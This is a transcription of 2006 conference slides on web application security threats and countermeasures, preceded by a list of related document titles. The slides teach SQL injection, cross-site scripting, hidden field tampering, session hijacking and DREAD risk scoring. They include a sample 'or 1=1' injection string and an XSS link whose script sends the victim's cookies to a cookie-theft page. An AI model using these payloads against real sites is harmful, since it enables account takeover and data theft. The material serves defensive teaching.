Web Application Security Considerations



Similar documents
Threat Modeling. Categorizing the nature and severity of system vulnerabilities. John B. Dickson, CISSP

Application Security Testing. Generic Test Strategy

What is Web Security? Motivation

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Check list for web developers

Where every interaction matters.

Web application security

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

Web Application Security

Session Hijacking Exploiting TCP, UDP and HTTP Sessions

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Last update: February 23, 2004

Web Application Report

The Top Web Application Attacks: Are you vulnerable?

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

Intrusion detection for web applications

THREAT MODELLING FOR SQL SERVERS Designing a Secure Database in a Web Application

Web Application Security

Sample Report. Security Test Plan. Prepared by Security Innovation

Threat Modeling/ Security Testing. Tarun Banga, Adobe 1. Agenda

Auditing a Web Application. Brad Ruppert. SANS Technology Institute GWAS Presentation 1

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Exploits: XSS, SQLI, Buffer Overflow

Essential IT Security Testing

Criteria for web application security check. Version

ABC LTD EXTERNAL WEBSITE AND INFRASTRUCTURE IT HEALTH CHECK (ITHC) / PENETRATION TEST

ICTN Enterprise Database Security Issues and Solutions

Cross Site Scripting in Joomla Acajoom Component

Keyword: Cloud computing, service model, deployment model, network layer security.

Thick Client Application Security

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Network Concepts. IT 4823 Information Security Concepts and Administration. The Network Environment. Resilience. Network Topology. Transmission Media

Web Application Security

Hack Yourself First. Troy troyhunt.com

IJMIE Volume 2, Issue 9 ISSN:

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

How to complete the Secure Internet Site Declaration (SISD) form

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Common Security Vulnerabilities in Online Payment Systems

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Application Security Testing

Introduction to Computer Security

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

BASELINE SECURITY TEST PLAN FOR EDUCATIONAL WEB AND MOBILE APPLICATIONS

Microsoft STRIDE (six) threat categories

Don t Get Burned! Are you Leaving your Critical Applications Defenseless?

Magento Security and Vulnerabilities. Roman Stepanov

DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Web and Security 1 / 40

CS5008: Internet Computing

Web Application Vulnerabilities and Avoiding Application Exposure

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Hack Proof Your Webapps

WEB SECURITY. Oriana Kondakciu Software Engineering 4C03 Project

Summary of the SEED Labs For Authors and Publishers

Application Security Vulnerabilities, Mitigation, and Consequences

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Detailed Description about course module wise:

A Network Administrator s Guide to Web App Security

OWASP Top Ten Tools and Tactics

Nuclear Regulatory Commission Computer Security Office Computer Security Standard

Web Application Guidelines

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

WHITE PAPER FORTIWEB WEB APPLICATION FIREWALL. Ensuring Compliance for PCI DSS 6.5 and 6.6

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Secure Web Development Teaching Modules 1. Threat Assessment

Web Application Security

SECURITY ADVISORY. December 2008 Barracuda Load Balancer admin login Cross-site Scripting

Client Side Filter Enhancement using Web Proxy

WHITE PAPER. FortiWeb Web Application Firewall Ensuring Compliance for PCI DSS 6.5 and 6.6

Web App Security Audit Services

Web Application Security 101

Project 2: Web Security Pitfalls

Cross-Site Scripting

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Enterprise Application Security Workshop Series

Web Application Penetration Testing

Penetration Test Report

Top Ten Web Application Vulnerabilities in J2EE. Vincent Partington and Eelco Klaver Xebia

REPORT ON AUDIT OF LOCAL AREA NETWORK OF C-STAR LAB

CYBER ATTACKS EXPLAINED: THE MAN IN THE MIDDLE

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Introduction to Web Security

Designing federated identity management architectures for addressing the recent attacks against online financial transactions.

Barracuda Web Site Firewall Ensures PCI DSS Compliance

Rational AppScan & Ounce Products

INTRUSION PROTECTION AGAINST SQL INJECTION ATTACKS USING REVERSE PROXY

University of Wisconsin Platteville SE411. Senior Seminar. Web System Attacks. Maxwell Friederichs. April 18, 2013

Transcription:

Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute 3040 Cornwallis Road P.O. Box 12194 Research Triangle Park, North Carolina, USA 27709 Phone 919 316 3898 Fax 919 541 6178 e mail epeele@rti.org

Types of Threats Threats against the network Network Host Spoofed packets, etc. Threats against the host Buffer overflows, illicit paths, etc. Threats against the application SQL injection, XSS, input tampering, etc. Application

Why Security? 2002 Computer Crime and Security Survey Percentages of companies who participated in the survey Reported security breaches in the last 12 months Acknowledged financial losses as a result Identified Internet connection as frequent source of attacks 80% 74% 90% Reported intrusions to authorities 34% http://www.gocsi.com/press/20020407.html

How Does This Happen? Common Software Vulnerabilities Percentages of apps that have "serious design flaws" in the indicated areas Session management 79% Parameter manipulation 73% Access control 64% Cryptographic algorithms 61% Handling of sensitive data 41% Administrative controls 36% Input validation 32%

Threats Against the Application Threat SQL injection Cross site scripting Hidden field tampering Eavesdropping Session hijacking Identity spoofing Information disclosure Examples Including a DROP TABLE command in text typed into an input field Using malicious client side script to steal cookies Maliciously changing the value of a hidden field Using a packet sniffer to steal passwords and cookies from traffic on unencrypted connections Using a stolen session ID cookie to access someone else's session state Using a stolen forms authentication cookie to pose as another user Allowing client to see a stack trace when an unhandled exception occurs

SQL Injection Exploits applications that use external input in database commands Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter used to generate SQL commands Submit input that modifies the commands Compromise, corrupt, and destroy data

Model Query How SQL Injection Works SELECT COUNT (*) FROM Users WHERE UserName= EPeele AND Password= secret Malicious Query SELECT COUNT (*) FROM Users WHERE UserName= or 1=1 AND Password= "or 1=1" matches every record in the table " " comments out the remainder of the query

Cross Site Scripting (XSS) Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter whose value is echoed to the Web page Enter malicious script and get an unwary user to navigate to the infected page Steal cookies, deface and disable sites

How Cross Site Scripting Works URL of the site targeted by the attack <a href="http:// /Search.aspx? Search=<script language='javascript'> document.location.replace ('http://localhost/cookietheft.aspx? Cookie= + document.cookie); </script>"> </a> Query string contains embedded JavaScript that redirects to attacker s page and transmits cookies issued by Search.aspx in a query string

Hidden Field Tampering HTTP is a stateless protocol No built in way to persist data from one request to the next People are stateful beings Want data persisted between requests Shopping carts, user preferences, etc. Web developers sometimes use hidden fields to persist data between requests Hidden fields are not really hidden!

How HF Tampering Works Page contains this <input type= hidden name="price" value="$10,000"> Postback data should contain this price="$10,000" Instead it contains this price="$1" type="hidden" prevents the field from being seen on the page but not in View Source

Session Hijacking Web applications use sessions to store state Sessions are private to individual users Sessions can be compromised Threat Theft and replay of session ID cookies Links to sites that use cookieless session state Predictable session IDs Remote connection to state server service Remote connection to state server database Eavesdropping on state server connection Risk Factor High* Medium* Low* Medium Medium Medium * Shorter session time-outs mitigate the risk by reducing the attack window

Identity Spoofing Security depends on authentication If authentication can be compromised, security goes out the window Authentication can be compromised Threat Theft of Windows authentication credentials Theft of forms authentication credentials Theft and replay of authentication cookies Dictionary attacks and password guessing Risk Factor High High Medium* High * Depends on the time-out values assigned to authentication cookies

Information Disclosure Which is the better error message?

DREAD D R E A D Damage potential What are the consequences of a successful exploit? Reproducibility Would an exploit work every time or only under certain circumstances? Exploitability How skilled must an attacker be to exploit the vulnerability? Affected users How many users would be affected by a successful exploit? Discoverability How likely is it that an attacker will know the vulnerability exists? http://msdn.microsoft.com/library/en-us/dnnetsec/html/thcmch03.asp

DREAD, Cont. High (3) Medium (2) Low (1) Damage potential Attacker can retrieve extremely sensitive data and corrupt or destroy data Attacker can retrieve sensitive data but do little else Attacker can only retrieve data that has little or no potential for harm Reproduc ability Works every time; does not require a timing window Timing dependent; works only within a time window Rarely works Exploitabilty Bart Simpson could do it Attacker must be somewhat knowledgeable and skilled Attacker must be VERY knowledgeable and skilled Affected users Most or all users Some users Few if any users Discoverabilty Attacker can easily discover the vulnerability Attacker might discover the vulnerability Attacker will have to dig to discover the vulnerability

Example Threat D R E A D Sum Auth cookie theft (eavesdropping) Auth cookie theft (XSS) 3 3 2 2 3 2 2 2 3 3 13 12 Potential for damage is high (spoofed identities, etc.) Cookie can be stolen any time, but is only useful until expired Anybody can run a packet sniffer; XSS attacks require moderate skill All users could be affected, but in reality most won't click malicious links Prioritized Risks Easy to discover: just type a <script> block into a field

Addressing the Problem Never trust input validate everything Utilize stored procedures or parameterized queries Keep session cookie durations short Never store sensitive information in cookies Encrypt, encrypt, encrypt

Resources Improving Web Application Security: Threats and Countermeasures http://msdn.microsoft.com/security/default.as px?pull=/library/enus/dnnetsec/html/threatcounter.asp Writing Secure Code, Second Edition by Michael Howard, David LeBlanc